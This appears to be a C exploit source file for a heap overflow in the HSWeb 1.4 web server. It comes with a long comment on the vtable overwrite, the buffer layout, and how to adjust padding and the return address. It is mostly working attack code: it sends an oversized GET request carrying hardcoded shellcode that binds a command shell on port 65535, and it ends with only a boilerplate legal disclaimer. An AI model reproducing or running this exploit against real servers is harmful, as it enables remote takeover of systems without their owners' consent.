/*
HSWeb 1.4 Heap Overflow
Discovery/Code by Matthew Murphy
Contact:
	E-mail: mattmurphy@kc.rr.com
	Web: http://www.techie.hopto.org/
	AIM: NetAddict4109
	IRC: irc.nonubs.net #k03

HSWeb suffers from the same vulnerability that affects many small-
scale servers -- copying data into unchecked buffers during handling
of the Request-URI.  A long get request consisting of more than 400
bytes, such as:

GET /[buffer] HTTP/1.0

will cause HSWeb to call into an arbitrary address during termination
procedures, resulting in remote compromise of the server.  This exploit
cannot effectively be used to produce denial of service conditions, as
the server only crashes upon termination.

This exploit is an interesting one.  HSWeb uses a heap-based 
buffer that is actually a part of a class data structure.  The
buffer is correctly checked when copying the path of the webroot,
ironically, but an unchecked string copy is performed when storing
the Request-URI.  This results in the vtable of the class being
overwritten.

The exploit itself is a heap overflow, which would lead you to believe
that addressing was dynamic.  However, the server is single-threaded,
meaning addressing is relatively static.  I decided to write the
request like a typical stack overflow:

[Padding][EIP][Shellcode]

Because of the static nature of addressing, this could just as easily
have been written with a jumpback as EIP:

[Shellcode][Padding][EIP]

On my system, EIP on call points to a jmp ecx in comctl32.dll.  ECX
happened to point directly after the EIP bytes into the shellcode.  The
shellcode is interesting as well.

A 167-byte payload, this code will spawn a reverse shell on port 65535
to the first client only.  The shellcode accepts the connection, and
sends the data to the user by setting the STDIN/STDOUT/STDERR handles
of command.com to the socket created.  In order to enter an NT shell
on platforms that support it, enter:

cmd

Now, for the tricky part.  Padding was exactly 400 bytes on my system
by pure coincidence.  The webroot path occurs before the payload in the
buffer, so care must be taken to properly guess EIP's placement, or an 
exception will result.  Also, the overwritten vtable entry isn't called 
into until the server is exited normally.

You have to fix the padding.  You must fix the padding.  You are required
to fix the padding.  You have to fix the padding.  You really need to fix
the padding.  I think you get the idea now, FIX THE PADDING!  HSWeb will
cause an access violation on exit if you don't change the padding value
smaller.  The 400 character padding was for a webroot with a length of
one byte (a mere ".").  If you set that as your wwwroot, you should be
able to spawn a shell with this exploit.  NOTE: If you're not running
on Windows XP SP1, you also need to change the EIP.

Immediately after handing over the shell, this payload calls:

TerminateProcess(GetCurrentProcess())

to close the HSWeb window.  Now, for the legal stuff to keep your lawyers
happy:

Viewing, compiling, or otherwise using this exploit material constitutes
your agreement to:

1. Only test the tool on networks that you own or administer, or only with
written permission of the lawful administrator.

2. You assume sole responsibility for your uses of this tool.

3. I am not responsible for any damage you or anyone else suffers as a result
of your use of this tool.
*/

#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#define _WINSOCKAPI_
#include <winsock2.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>

#define PUT_STRING(x)		strcpy(p, x);p+=strlen(x);
#define PUT_PADDING(x,y)	memset(p, (int)x, y);p+=y;*p=0;
#define DIE(x)			printf(x);exit(-1);

int main(int argc, char *argv[]) {
	unsigned short port = 80;
	struct hostent *he;
	char buffer[10000];
	char *p = buffer;
	int s;
	struct sockaddr_in sin;
#ifdef _WIN32
	WSADATA wsa_prov;
#endif
	printf("HSWeb v1.4 Remote Exploit\r\nDiscovery/code by Matthew Murphy\r\n\r\n");
	if (argc < 2 || argc > 3) {
		DIE("Usage: hsweb [host] [port]\r\n");
	}
#ifdef _WIN32
	if (WSAStartup(0x0101, &wsa_prov)) {
		DIE("WSAStartup returned error, terminating...");
	}
#endif
	if (argc == 3) {
		port = (unsigned short)atoi(argv[2]);
	}
	he = gethostbyname(argv[1]);
	if (!he) {
		DIE("Invalid host name!");
	}
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = *(unsigned long *)he->h_addr;
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s < 0) {
		DIE("socket returned error, terminating...");
	}
	if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
		DIE("bind returned error, terminating...");
	}
	PUT_STRING("GET /")
	PUT_PADDING(0x41, 400)
	PUT_STRING("\xB5\x97\x9D\x71")	/* EIP (Windows XP SP1, US English) */
	PUT_STRING(			            /* Shellcode */
		"\xBF\x01\x4C\xD2\x40\xC1\xEF\x08\x54\x66\x68\x01\x01\xFF\x17\x33"
		"\xC0\xB0\x06\x50\x66\x33\xC0\x40\x50\x40\x50\x66\xBF\x50\xD2\xFF"
		"\x17\x8B\xF0\x33\xC0\x50\x50\xB8\xFF\xFF\xFF\xFF\x83\xF0\xFF\x50"
		"\xB8\x01\xFF\xFF\x02\xC1\xE8\x08\x50\x8B\xCC\x33\xC0\xB0\x10\x50"
		"\x51\x56\x66\xBF\x80\xD2\xFF\x17\xB0\xFF\x50\x56\x66\xBF\x74\xD2"
		"\xFF\x17\x50\x50\x56\x66\xBF\x78\xD2\xFF\x17\x8B\xF0\x50\x50\x50"
		"\x50\x8B\xD4\x56\x56\x56\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"
		"\x50\x50\x50\xB0\x40\x50\x8B\xCC\x66\x33\xC0\xB8\x01\x63\x6F\x6D"
		"\xC1\x38\x08\x50\x33\xC0\x68\x61\x6E\x64\x2E\x68\x63\x6F\x6D\x6D"
		"\x8B\xDC\x52\x51\x50\x50\x50\x50\x50\x50\x50\x53\x66\xBF\x21\xD1"
		"\x4F\xFF\x17\x66\xBF\x38\xD0\xFF\x17\x66\xBF\x90\xD1\x50\xFF\x17")
	PUT_STRING(" HTTP/1.0\r\n\r\n")
	if (send(s, buffer, strlen(buffer), 0) != (signed)strlen(buffer)) {
		DIE("send returned error, terminating...");
	}
#ifdef _WIN32
	Sleep(2000);
	closesocket(s);
#else
	sleep(2);
	close(s);
#endif
	printf("Wait for the admin to close HSWeb, and 65535 will light up...");
	return 0;
}
